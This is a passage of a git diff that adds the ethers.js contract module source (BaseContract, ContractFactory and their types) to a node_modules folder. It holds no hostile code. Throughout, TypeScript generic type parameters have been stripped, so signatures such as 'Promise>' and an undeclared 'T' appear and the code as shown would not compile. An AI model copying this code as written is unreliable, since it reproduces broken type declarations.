+//export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse> { + +function getRunner(value: any, feature: keyof ContractRunner): null | T { + if (value == null) { return null; } + if (typeof(value[feature]) === "function") { return value; } + if (value.provider && typeof(value.provider[feature]) === "function") { + return value.provider; + } + return null; +} + +function getProvider(value: null | ContractRunner): null | Provider { + if (value == null) { return null; } + return value.provider || null; +} + +/** + * @_ignore: + */ +export async function copyOverrides(arg: any, allowed?: Array): Promise> { + + // Make sure the overrides passed in are a valid overrides object + const _overrides = Typed.dereference(arg, "overrides"); + assertArgument(typeof(_overrides) === "object", "invalid overrides parameter", "overrides", arg); + + // Create a shallow copy (we'll deep-ify anything needed during normalizing) + const overrides = copyRequest(_overrides); + + assertArgument(overrides.to == null || (allowed || [ ]).indexOf("to") >= 0, + "cannot override to", "overrides.to", overrides.to); + assertArgument(overrides.data == null || (allowed || [ ]).indexOf("data") >= 0, + "cannot override data", "overrides.data", overrides.data); + + // Resolve any from + if (overrides.from) { overrides.from = overrides.from; } + + return >overrides; +} + +/** + * @_ignore: + */ +export async function resolveArgs(_runner: null | ContractRunner, inputs: ReadonlyArray, args: Array): Promise> { + // Recursively descend into args and resolve any addresses + const runner = getRunner(_runner, "resolveName"); + const resolver = canResolve(runner) ? runner: null; + return await Promise.all(inputs.map((param, index) => { + return param.walkAsync(args[index], (type, value) => { + value = Typed.dereference(value, type); + if (type === "address") { return resolveAddress(value, resolver); } + return value; + }); + })); +} + +function buildWrappedFallback(contract: BaseContract): WrappedFallback { + + const populateTransaction = async function(overrides?: Omit): Promise { + // If an overrides was passed in, copy it and normalize the values + + const tx: ContractTransaction = (await copyOverrides<"data">(overrides, [ "data" ])); + tx.to = await contract.getAddress(); + + if (tx.from) { + tx.from = await resolveAddress(tx.from, getResolver(contract.runner)); + } + + const iface = contract.interface; + + const noValue = (getBigInt((tx.value || BN_0), "overrides.value") === BN_0); + const noData = ((tx.data || "0x") === "0x"); + + if (iface.fallback && !iface.fallback.payable && iface.receive && !noData && !noValue) { + assertArgument(false, "cannot send data to receive or send value to non-payable fallback", "overrides", overrides); + } + + assertArgument(iface.fallback || noData, + "cannot send data to receive-only contract", "overrides.data", tx.data); + + // Only allow payable contracts to set non-zero value + const payable = iface.receive || (iface.fallback && iface.fallback.payable); + assertArgument(payable || noValue, + "cannot send value to non-payable fallback", "overrides.value", tx.value); + + // Only allow fallback contracts to set non-empty data + assertArgument(iface.fallback || noData, + "cannot send data to receive-only contract", "overrides.data", tx.data); + + return tx; + } + + const staticCall = async function(overrides?: Omit): Promise { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", + "UNSUPPORTED_OPERATION", { operation: "call" }); + + const tx = await populateTransaction(overrides); + + try { + return await runner.call(tx); + } catch (error: any) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + } + + const send = async function(overrides?: Omit): Promise { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", + "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + + const tx = await runner.sendTransaction(await populateTransaction(overrides)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + } + + const estimateGas = async function(overrides?: Omit): Promise { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", + "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + + return await runner.estimateGas(await populateTransaction(overrides)); + } + + const method = async (overrides?: Omit) => { + return await send(overrides); + }; + + defineProperties(method, { + _contract: contract, + + estimateGas, + populateTransaction, + send, staticCall + }); + + return method; +} + +function buildWrappedMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse>(contract: BaseContract, key: string): BaseContractMethod { + + const getFragment = function(...args: ContractMethodArgs): FunctionFragment { + const fragment = contract.interface.getFunction(key, args); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + } + + const populateTransaction = async function(...args: ContractMethodArgs): Promise { + const fragment = getFragment(...args); + + // If an overrides was passed in, copy it and normalize the values + let overrides: Omit = { }; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + + if (overrides.from) { + overrides.from = await resolveAddress(overrides.from, getResolver(contract.runner)); + } + } + + if (fragment.inputs.length !== args.length) { + throw new Error("internal error: fragment inputs doesn't match arguments; should not happen"); + } + + const resolvedArgs = await resolveArgs(contract.runner, fragment.inputs, args); + + return Object.assign({ }, overrides, await resolveProperties({ + to: contract.getAddress(), + data: contract.interface.encodeFunctionData(fragment, resolvedArgs) + })); + } + + const staticCall = async function(...args: ContractMethodArgs): Promise { + const result = await staticCallResult(...args); + if (result.length === 1) { return result[0]; } + return result; + } + + const send = async function(...args: ContractMethodArgs): Promise { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", + "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + + const tx = await runner.sendTransaction(await populateTransaction(...args)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + } + + const estimateGas = async function(...args: ContractMethodArgs): Promise { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", + "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + + return await runner.estimateGas(await populateTransaction(...args)); + } + + const staticCallResult = async function(...args: ContractMethodArgs): Promise { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", + "UNSUPPORTED_OPERATION", { operation: "call" }); + + const tx = await populateTransaction(...args); + + let result = "0x"; + try { + result = await runner.call(tx); + } catch (error: any) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + + const fragment = getFragment(...args); + return contract.interface.decodeFunctionResult(fragment, result); + }; + + const method = async (...args: ContractMethodArgs) => { + const fragment = getFragment(...args); + if (fragment.constant) { return await staticCall(...args); } + return await send(...args); + }; + + defineProperties(method, { + name: contract.interface.getFunctionName(key), + _contract: contract, _key: key, + + getFragment, + + estimateGas, + populateTransaction, + send, staticCall, staticCallResult, + }); + + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getFunction(key); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + + return >method; +} + +function buildWrappedEvent = Array>(contract: BaseContract, key: string): ContractEvent { + + const getFragment = function(...args: ContractEventArgs): EventFragment { + const fragment = contract.interface.getEvent(key, args); + + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + + return fragment; + } + + const method = function(...args: ContractMethodArgs): PreparedTopicFilter { + return new PreparedTopicFilter(contract, getFragment(...args), args); + }; + + defineProperties(method, { + name: contract.interface.getEventName(key), + _contract: contract, _key: key, + + getFragment + }); + + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getEvent(key); + + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + + return fragment; + } + }); + + return >method; +} + +type Sub = { + tag: string; + listeners: Array<{ listener: Listener, once: boolean }>, + start: () => void; + stop: () => void; +}; + + +// The combination of TypeScrype, Private Fields and Proxies makes +// the world go boom; so we hide variables with some trickery keeping +// a symbol attached to each BaseContract which its sub-class (even +// via a Proxy) can reach and use to look up its internal values. + +const internal = Symbol.for("_ethersInternal_contract"); +type Internal = { + addrPromise: Promise; + addr: null | string; + + deployTx: null | ContractTransactionResponse; + + subs: Map; +}; + +const internalValues: WeakMap = new WeakMap(); + +function setInternal(contract: BaseContract, values: Internal): void { + internalValues.set(contract[internal], values); +} + +function getInternal(contract: BaseContract): Internal { + return internalValues.get(contract[internal]) as Internal; +} + +function isDeferred(value: any): value is DeferredTopicFilter { + return (value && typeof(value) === "object" && ("getTopicFilter" in value) && + (typeof(value.getTopicFilter) === "function") && value.fragment); +} + +async function getSubInfo(contract: BaseContract, event: ContractEventName): Promise<{ fragment: null | EventFragment, tag: string, topics: TopicFilter }> { + let topics: Array>; + let fragment: null | EventFragment = null; + + // Convert named events to topicHash and get the fragment for + // events which need deconstructing. + + if (Array.isArray(event)) { + const topicHashify = function(name: string): string { + if (isHexString(name, 32)) { return name; } + const fragment = contract.interface.getEvent(name); + assertArgument(fragment, "unknown fragment", "name", name); + return fragment.topicHash; + } + + // Array of Topics and Names; e.g. `[ "0x1234...89ab", "Transfer(address)" ]` + topics = event.map((e) => { + if (e == null) { return null; } + if (Array.isArray(e)) { return e.map(topicHashify); } + return topicHashify(e); + }); + + } else if (event === "*") { + topics = [ null ]; + + } else if (typeof(event) === "string") { + if (isHexString(event, 32)) { + // Topic Hash + topics = [ event ]; + } else { + // Name or Signature; e.g. `"Transfer", `"Transfer(address)"` + fragment = contract.interface.getEvent(event); + assertArgument(fragment, "unknown fragment", "event", event); + topics = [ fragment.topicHash ]; + } + + } else if (isDeferred(event)) { + // Deferred Topic Filter; e.g. `contract.filter.Transfer(from)` + topics = await event.getTopicFilter(); + + } else if ("fragment" in event) { + // ContractEvent; e.g. `contract.filter.Transfer` + fragment = event.fragment; + topics = [ fragment.topicHash ]; + + } else { + assertArgument(false, "unknown event name", "event", event); + } + + // Normalize topics and sort TopicSets + topics = topics.map((t) => { + if (t == null) { return null; } + if (Array.isArray(t)) { + const items = Array.from(new Set(t.map((t) => t.toLowerCase())).values()); + if (items.length === 1) { return items[0]; } + items.sort(); + return items; + } + return t.toLowerCase(); + }); + + const tag = topics.map((t) => { + if (t == null) { return "null"; } + if (Array.isArray(t)) { return t.join("|"); } + return t; + }).join("&"); + + return { fragment, tag, topics } +} + +async function hasSub(contract: BaseContract, event: ContractEventName): Promise { + const { subs } = getInternal(contract); + return subs.get((await getSubInfo(contract, event)).tag) || null; +} + +async function getSub(contract: BaseContract, operation: string, event: ContractEventName): Promise { + // Make sure our runner can actually subscribe to events + const provider = getProvider(contract.runner); + assert(provider, "contract runner does not support subscribing", + "UNSUPPORTED_OPERATION", { operation }); + + const { fragment, tag, topics } = await getSubInfo(contract, event); + + const { addr, subs } = getInternal(contract); + + let sub = subs.get(tag); + if (!sub) { + const address: string | Addressable = (addr ? addr: contract); + const filter = { address, topics }; + const listener = (log: Log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = contract.interface.getEvent(log.topics[0]); + } catch (error) { } + } + + // If fragment is null, we do not deconstruct the args to emit + + if (foundFragment) { + const _foundFragment = foundFragment; + const args = fragment ? contract.interface.decodeEventLog(fragment, log.data, log.topics): [ ]; + emit(contract, event, args, (listener: null | Listener) => { + return new ContractEventPayload(contract, listener, event, _foundFragment, log); + }); + } else { + emit(contract, event, [ ], (listener: null | Listener) => { + return new ContractUnknownEventPayload(contract, listener, event, log); + }); + } + }; + + let starting: Array> = [ ]; + const start = () => { + if (starting.length) { return; } + starting.push(provider.on(filter, listener)); + }; + + const stop = async () => { + if (starting.length == 0) { return; } + + let started = starting; + starting = [ ]; + await Promise.all(started); + provider.off(filter, listener); + }; + + sub = { tag, listeners: [ ], start, stop }; + subs.set(tag, sub); + } + return sub; +} + +// We use this to ensure one emit resolves before firing the next to +// ensure correct ordering (note this cannot throw and just adds the +// notice to the event queu using setTimeout). +let lastEmit: Promise = Promise.resolve(); + +type PayloadFunc = (listener: null | Listener) => ContractUnknownEventPayload; + +async function _emit(contract: BaseContract, event: ContractEventName, args: Array, payloadFunc: null | PayloadFunc): Promise { + await lastEmit; + + const sub = await hasSub(contract, event); + if (!sub) { return false; } + + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const passArgs = Array.from(args); + if (payloadFunc) { + passArgs.push(payloadFunc(once ? null: listener)); + } + try { + listener.call(contract, ...passArgs); + } catch (error) { } + return !once; + }); + + if (sub.listeners.length === 0) { + sub.stop(); + getInternal(contract).subs.delete(sub.tag); + } + + return (count > 0); +} + +async function emit(contract: BaseContract, event: ContractEventName, args: Array, payloadFunc: null | PayloadFunc): Promise { + try { + await lastEmit; + } catch (error) { } + + const resultPromise = _emit(contract, event, args, payloadFunc); + lastEmit = resultPromise; + return await resultPromise; +} + +const passProperties = [ "then" ]; +export class BaseContract implements Addressable, EventEmitterable { + /** + * The target to connect to. + * + * This can be an address, ENS name or any [[Addressable]], such as + * another contract. To get the resovled address, use the ``getAddress`` + * method. + */ + readonly target!: string | Addressable; + + /** + * The contract Interface. + */ + readonly interface!: Interface; + + /** + * The connected runner. This is generally a [[Provider]] or a + * [[Signer]], which dictates what operations are supported. + * + * For example, a **Contract** connected to a [[Provider]] may + * only execute read-only operations. + */ + readonly runner!: null | ContractRunner; + + /** + * All the Events available on this contract. + */ + readonly filters!: Record; + + /** + * @_ignore: + */ + readonly [internal]: any; + + /** + * The fallback or receive function if any. + */ + readonly fallback!: null | WrappedFallback; + + /** + * Creates a new contract connected to %%target%% with the %%abi%% and + * optionally connected to a %%runner%% to perform operations on behalf + * of. + */ + constructor(target: string | Addressable, abi: Interface | InterfaceAbi, runner?: null | ContractRunner, _deployTx?: null | TransactionResponse) { + assertArgument(typeof(target) === "string" || isAddressable(target), + "invalid value for Contract target", "target", target); + + if (runner == null) { runner = null; } + const iface = Interface.from(abi); + defineProperties(this, { target, runner, interface: iface }); + + Object.defineProperty(this, internal, { value: { } }); + + let addrPromise; + let addr: null | string = null; + + let deployTx: null | ContractTransactionResponse = null; + if (_deployTx) { + const provider = getProvider(runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + deployTx = new ContractTransactionResponse(this.interface, provider, _deployTx); + } + + let subs = new Map(); + + // Resolve the target as the address + if (typeof(target) === "string") { + if (isHexString(target)) { + addr = target; + addrPromise = Promise.resolve(target); + + } else { + const resolver = getRunner(runner, "resolveName"); + if (!canResolve(resolver)) { + throw makeError("contract runner does not support name resolution", "UNSUPPORTED_OPERATION", { + operation: "resolveName" + }); + } + + addrPromise = resolver.resolveName(target).then((addr) => { + if (addr == null) { + throw makeError("an ENS name used for a contract target must be correctly configured", "UNCONFIGURED_NAME", { + value: target + }); + } + getInternal(this).addr = addr; + return addr; + }); + } + } else { + addrPromise = target.getAddress().then((addr) => { + if (addr == null) { throw new Error("TODO"); } + getInternal(this).addr = addr; + return addr; + }); + } + + // Set our private values + setInternal(this, { addrPromise, addr, deployTx, subs }); + + // Add the event filters + const filters = new Proxy({ }, { + get: (target, prop, receiver) => { + // Pass important checks (like `then` for Promise) through + if (typeof(prop) === "symbol" || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + + try { + return this.getEvent(prop); + } catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + + return undefined; + }, + has: (target, prop) => { + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + + return Reflect.has(target, prop) || this.interface.hasEvent(String(prop)); + } + }); + defineProperties(this, { filters }); + + defineProperties(this, { + fallback: ((iface.receive || iface.fallback) ? (buildWrappedFallback(this)): null) + }); + + // Return a Proxy that will respond to functions + return new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof(prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + + // Undefined properties should return undefined + try { + return target.getFunction(prop); + } catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + + return undefined; + }, + has: (target, prop) => { + if (typeof(prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + + return target.interface.hasFunction(prop); + } + }); + + } + + /** + * Return a new Contract instance with the same target and ABI, but + * a different %%runner%%. + */ + connect(runner: null | ContractRunner): BaseContract { + return new BaseContract(this.target, this.interface, runner); + } + + /** + * Return a new Contract instance with the same ABI and runner, but + * a different %%target%%. + */ + attach(target: string | Addressable): BaseContract { + return new BaseContract(target, this.interface, this.runner); + } + + /** + * Return the resolved address of this Contract. + */ + async getAddress(): Promise { return await getInternal(this).addrPromise; } + + /** + * Return the deployed bytecode or null if no bytecode is found. + */ + async getDeployedCode(): Promise { + const provider = getProvider(this.runner); + assert(provider, "runner does not support .provider", + "UNSUPPORTED_OPERATION", { operation: "getDeployedCode" }); + + const code = await provider.getCode(await this.getAddress()); + if (code === "0x") { return null; } + return code; + } + + /** + * Resolve to this Contract once the bytecode has been deployed, or + * resolve immediately if already deployed. + */ + async waitForDeployment(): Promise { + // We have the deployement transaction; just use that (throws if deployement fails) + const deployTx = this.deploymentTransaction(); + if (deployTx) { + await deployTx.wait(); + return this; + } + + // Check for code + const code = await this.getDeployedCode(); + if (code != null) { return this; } + + // Make sure we can subscribe to a provider event + const provider = getProvider(this.runner); + assert(provider != null, "contract runner does not support .provider", + "UNSUPPORTED_OPERATION", { operation: "waitForDeployment" }); + + return new Promise((resolve, reject) => { + const checkCode = async () => { + try { + const code = await this.getDeployedCode(); + if (code != null) { return resolve(this); } + provider.once("block", checkCode); + } catch (error) { + reject(error); + } + }; + checkCode(); + }); + } + + /** + * Return the transaction used to deploy this contract. + * + * This is only available if this instance was returned from a + * [[ContractFactory]]. + */ + deploymentTransaction(): null | ContractTransactionResponse { + return getInternal(this).deployTx; + } + + /** + * Return the function for a given name. This is useful when a contract + * method name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getFunction(key: string | FunctionFragment): T { + if (typeof(key) !== "string") { key = key.format(); } + const func = buildWrappedMethod(this, key); + return func; + } + + /** + * Return the event for a given name. This is useful when a contract + * event name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getEvent(key: string | EventFragment): ContractEvent { + if (typeof(key) !== "string") { key = key.format(); } + return buildWrappedEvent(this, key); + } + + /** + * @_ignore: + */ + async queryTransaction(hash: string): Promise> { + throw new Error("@TODO"); + } + + /* + // @TODO: this is a non-backwards compatible change, but will be added + // in v7 and in a potential SmartContract class in an upcoming + // v6 release + async getTransactionReceipt(hash: string): Promise { + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", + "UNSUPPORTED_OPERATION", { operation: "queryTransaction" }); + + const receipt = await provider.getTransactionReceipt(hash); + if (receipt == null) { return null; } + + return new ContractTransactionReceipt(this.interface, provider, receipt); + } + */ + + /** + * Provide historic access to event data for %%event%% in the range + * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``"latest"``) + * inclusive. + */ + async queryFilter(event: ContractEventName, fromBlock?: BlockTag, toBlock?: BlockTag): Promise> { + if (fromBlock == null) { fromBlock = 0; } + if (toBlock == null) { toBlock = "latest"; } + const { addr, addrPromise } = getInternal(this); + const address = (addr ? addr: (await addrPromise)); + const { fragment, topics } = await getSubInfo(this, event); + const filter = { address, topics, fromBlock, toBlock }; + + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", + "UNSUPPORTED_OPERATION", { operation: "queryFilter" }); + + return (await provider.getLogs(filter)).map((log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = this.interface.getEvent(log.topics[0]); + } catch (error) { } + } + + if (foundFragment) { + try { + return new EventLog(log, this.interface, foundFragment); + } catch (error: any) { + return new UndecodedEventLog(log, error); + } + } + + return new Log(log, provider); + }); + } + + /** + * Add an event %%listener%% for the %%event%%. + */ + async on(event: ContractEventName, listener: Listener): Promise { + const sub = await getSub(this, "on", event); + sub.listeners.push({ listener, once: false }); + sub.start(); + return this; + } + + /** + * Add an event %%listener%% for the %%event%%, but remove the listener + * after it is fired once. + */ + async once(event: ContractEventName, listener: Listener): Promise { + const sub = await getSub(this, "once", event); + sub.listeners.push({ listener, once: true }); + sub.start(); + return this; + } + + /** + * Emit an %%event%% calling all listeners with %%args%%. + * + * Resolves to ``true`` if any listeners were called. + */ + async emit(event: ContractEventName, ...args: Array): Promise { + return await emit(this, event, args, null); + } + + /** + * Resolves to the number of listeners of %%event%% or the total number + * of listeners if unspecified. + */ + async listenerCount(event?: ContractEventName): Promise { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { return 0; } + return sub.listeners.length; + } + + const { subs } = getInternal(this); + + let total = 0; + for (const { listeners } of subs.values()) { + total += listeners.length; + } + return total; + } + + /** + * Resolves to the listeners subscribed to %%event%% or all listeners + * if unspecified. + */ + async listeners(event?: ContractEventName): Promise> { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { return [ ]; } + return sub.listeners.map(({ listener }) => listener); + } + + const { subs } = getInternal(this); + + let result: Array = [ ]; + for (const { listeners } of subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + + /** + * Remove the %%listener%% from the listeners for %%event%% or remove + * all listeners if unspecified. + */ + async off(event: ContractEventName, listener?: Listener): Promise { + const sub = await hasSub(this, event); + if (!sub) { return this; } + + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { sub.listeners.splice(index, 1); } + } + + if (listener == null || sub.listeners.length === 0) { + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + + return this; + } + + /** + * Remove all the listeners for %%event%% or remove all listeners if + * unspecified. + */ + async removeAllListeners(event?: ContractEventName): Promise { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { return this; } + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } else { + const { subs } = getInternal(this); + for (const { tag, stop } of subs.values()) { + stop(); + subs.delete(tag); + } + } + + return this; + } + + /** + * Alias for [on]. + */ + async addListener(event: ContractEventName, listener: Listener): Promise { + return await this.on(event, listener); + } + + /** + * Alias for [off]. + */ + async removeListener(event: ContractEventName, listener: Listener): Promise { + return await this.off(event, listener); + } + + /** + * Create a new Class for the %%abi%%. + */ + static buildClass(abi: Interface | InterfaceAbi): new (target: string, runner?: null | ContractRunner) => BaseContract & Omit { + class CustomContract extends BaseContract { + constructor(address: string, runner: null | ContractRunner = null) { + super(address, abi, runner); + } + } + return CustomContract as any; + }; + + /** + * Create a new BaseContract with a specified Interface. + */ + static from(target: string, abi: Interface | InterfaceAbi, runner?: null | ContractRunner): BaseContract & Omit { + if (runner == null) { runner = null; } + const contract = new this(target, abi, runner ); + return contract as any; + } +} + +function _ContractBase(): new (target: string | Addressable, abi: Interface | InterfaceAbi, runner?: null | ContractRunner) => BaseContract & Omit { + return BaseContract as any; +} + +/** + * A [[BaseContract]] with no type guards on its methods or events. + */ +export class Contract extends _ContractBase() { } diff --git a/node_modules/ethers/src.ts/contract/factory.ts b/node_modules/ethers/src.ts/contract/factory.ts new file mode 100644 index 000000000000..a39f5ea1c9bd --- /dev/null +++ b/node_modules/ethers/src.ts/contract/factory.ts @@ -0,0 +1,143 @@ + +import { Interface } from "../abi/index.js"; +import { getCreateAddress } from "../address/index.js"; +import { + concat, defineProperties, getBytes, hexlify, + assert, assertArgument +} from "../utils/index.js"; + +import { BaseContract, copyOverrides, resolveArgs } from "./contract.js"; + +import type { InterfaceAbi } from "../abi/index.js"; +import type { Addressable } from "../address/index.js"; +import type { ContractRunner } from "../providers/index.js"; +import type { BytesLike } from "../utils/index.js"; + +import type { + ContractInterface, ContractMethodArgs, ContractDeployTransaction, +} from "./types.js"; +import type { ContractTransactionResponse } from "./wrappers.js"; + + +// A = Arguments to the constructor +// I = Interface of deployed contracts + +/** + * A **ContractFactory** is used to deploy a Contract to the blockchain. + */ +export class ContractFactory = Array, I = BaseContract> { + + /** + * The Contract Interface. + */ + readonly interface!: Interface; + + /** + * The Contract deployment bytecode. Often called the initcode. + */ + readonly bytecode!: string; + + /** + * The ContractRunner to deploy the Contract as. + */ + readonly runner!: null | ContractRunner; + + /** + * Create a new **ContractFactory** with %%abi%% and %%bytecode%%, + * optionally connected to %%runner%%. + * + * The %%bytecode%% may be the ``bytecode`` property within the + * standard Solidity JSON output. + */ + constructor(abi: Interface | InterfaceAbi, bytecode: BytesLike | { object: string }, runner?: null | ContractRunner) { + const iface = Interface.from(abi); + + // Dereference Solidity bytecode objects and allow a missing `0x`-prefix + if (bytecode instanceof Uint8Array) { + bytecode = hexlify(getBytes(bytecode)); + } else { + if (typeof(bytecode) === "object") { bytecode = bytecode.object; } + if (!bytecode.startsWith("0x")) { bytecode = "0x" + bytecode; } + bytecode = hexlify(getBytes(bytecode)); + } + + defineProperties(this, { + bytecode, interface: iface, runner: (runner || null) + }); + } + + attach(target: string | Addressable): BaseContract & Omit { + return new (BaseContract)(target, this.interface, this.runner); + } + + /** + * Resolves to the transaction to deploy the contract, passing %%args%% + * into the constructor. + */ + async getDeployTransaction(...args: ContractMethodArgs): Promise { + let overrides: Omit = { }; + + const fragment = this.interface.deploy; + + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + } + + if (fragment.inputs.length !== args.length) { + throw new Error("incorrect number of arguments to constructor"); + } + + const resolvedArgs = await resolveArgs(this.runner, fragment.inputs, args); + + const data = concat([ this.bytecode, this.interface.encodeDeploy(resolvedArgs) ]); + return Object.assign({ }, overrides, { data }); + } + + /** + * Resolves to the Contract deployed by passing %%args%% into the + * constructor. + * + * This will resolve to the Contract before it has been deployed to the + * network, so the [[BaseContract-waitForDeployment]] should be used before + * sending any transactions to it. + */ + async deploy(...args: ContractMethodArgs): Promise> { + const tx = await this.getDeployTransaction(...args); + + assert(this.runner && typeof(this.runner.sendTransaction) === "function", + "factory runner does not support sending transactions", "UNSUPPORTED_OPERATION", { + operation: "sendTransaction" }); + + const sentTx = await this.runner.sendTransaction(tx); + const address = getCreateAddress(sentTx); + return new (BaseContract)(address, this.interface, this.runner, sentTx); + } + + /** + * Return a new **ContractFactory** with the same ABI and bytecode, + * but connected to %%runner%%. + */ + connect(runner: null | ContractRunner): ContractFactory { + return new ContractFactory(this.interface, this.bytecode, runner); + } + + /** + * Create a new **ContractFactory** from the standard Solidity JSON output. + */ + static fromSolidity = Array, I = ContractInterface>(output: any, runner?: ContractRunner): ContractFactory { + assertArgument(output != null, "bad compiler output", "output", output); + + if (typeof(output) === "string") { output = JSON.parse(output); } + + const abi = output.abi; + + let bytecode = ""; + if (output.bytecode) { + bytecode = output.bytecode; + } else if (output.evm && output.evm.bytecode) { + bytecode = output.evm.bytecode; + } + + return new this(abi, bytecode, runner); + } +} diff --git a/node_modules/ethers/src.ts/contract/index.ts b/node_modules/ethers/src.ts/contract/index.ts new file mode 100644 index 000000000000..c960f1715b19 --- /dev/null +++ b/node_modules/ethers/src.ts/contract/index.ts @@ -0,0 +1,31 @@ +/** + * A **Contract** object is a meta-class (a class whose definition is + * defined at runtime), which communicates with a deployed smart contract + * on the blockchain and provides a simple JavaScript interface to call + * methods, send transaction, query historic logs and listen for its events. + * + * @_section: api/contract:Contracts [about-contracts] + */ +export { + BaseContract, Contract +} from "./contract.js"; + +export { + ContractFactory +} from "./factory.js"; + +export { + ContractEventPayload, ContractUnknownEventPayload, + ContractTransactionReceipt, ContractTransactionResponse, + EventLog, UndecodedEventLog +} from "./wrappers.js"; + +export type { + BaseContractMethod, ConstantContractMethod, + PostfixOverrides, + ContractEvent, ContractEventArgs, ContractEventName, + ContractDeployTransaction, + ContractInterface, ContractMethod, ContractMethodArgs, ContractTransaction, + DeferredTopicFilter, Overrides, + WrappedFallback +} from "./types.js"; diff --git a/node_modules/ethers/src.ts/contract/types.ts b/node_modules/ethers/src.ts/contract/types.ts new file mode 100644 index 000000000000..c58b6ef060bd --- /dev/null +++ b/node_modules/ethers/src.ts/contract/types.ts @@ -0,0 +1,236 @@ +import type { + EventFragment, FunctionFragment, Result, Typed +} from "../abi/index.js"; +import type { + TransactionRequest, PreparedTransactionRequest, TopicFilter +} from "../providers/index.js"; + +import type { ContractTransactionResponse } from "./wrappers.js"; + + +/** + * The name for an event used for subscribing to Contract events. + * + * **``string``** - An event by name. The event must be non-ambiguous. + * The parameters will be dereferenced when passed into the listener. + * + * [[ContractEvent]] - A filter from the ``contract.filters``, which will + * pass only the EventPayload as a single parameter, which includes a + * ``.signature`` property that can be used to further filter the event. + * + * [[TopicFilter]] - A filter defined using the standard Ethereum API + * which provides the specific topic hash or topic hashes to watch for along + * with any additional values to filter by. This will only pass a single + * parameter to the listener, the EventPayload which will include additional + * details to refine by, such as the event name and signature. + * + * [[DeferredTopicFilter]] - A filter created by calling a [[ContractEvent]] + * with parameters, which will create a filter for a specific event + * signature and dereference each parameter when calling the listener. + */ +export type ContractEventName = string | ContractEvent | TopicFilter | DeferredTopicFilter; + +/** + * A Contract with no method constraints. + */ +export interface ContractInterface { + [ name: string ]: BaseContractMethod; +}; + +/** + * When creating a filter using the ``contract.filters``, this is returned. + */ +export interface DeferredTopicFilter { + getTopicFilter(): Promise; + fragment: EventFragment; +} + +/** + * When populating a transaction this type is returned. + */ +export interface ContractTransaction extends PreparedTransactionRequest { + /** + * The target address. + */ + to: string; + + /** + * The transaction data. + */ + data: string; + + /** + * The from address, if any. + */ + from?: string; +} + +/** + * A deployment transaction for a contract. + */ +export interface ContractDeployTransaction extends Omit { } + +/** + * The overrides for a contract transaction. + */ +export interface Overrides extends Omit { }; + + +/** + * Arguments to a Contract method can always include an additional and + * optional overrides parameter. + * + * @_ignore: + */ +export type PostfixOverrides> = A | [ ...A, Overrides ]; + +/** + * Arguments to a Contract method can always include an additional and + * optional overrides parameter, and each parameter can optionally be + * [[Typed]]. + * + * @_ignore: + */ +export type ContractMethodArgs> = PostfixOverrides<{ [ I in 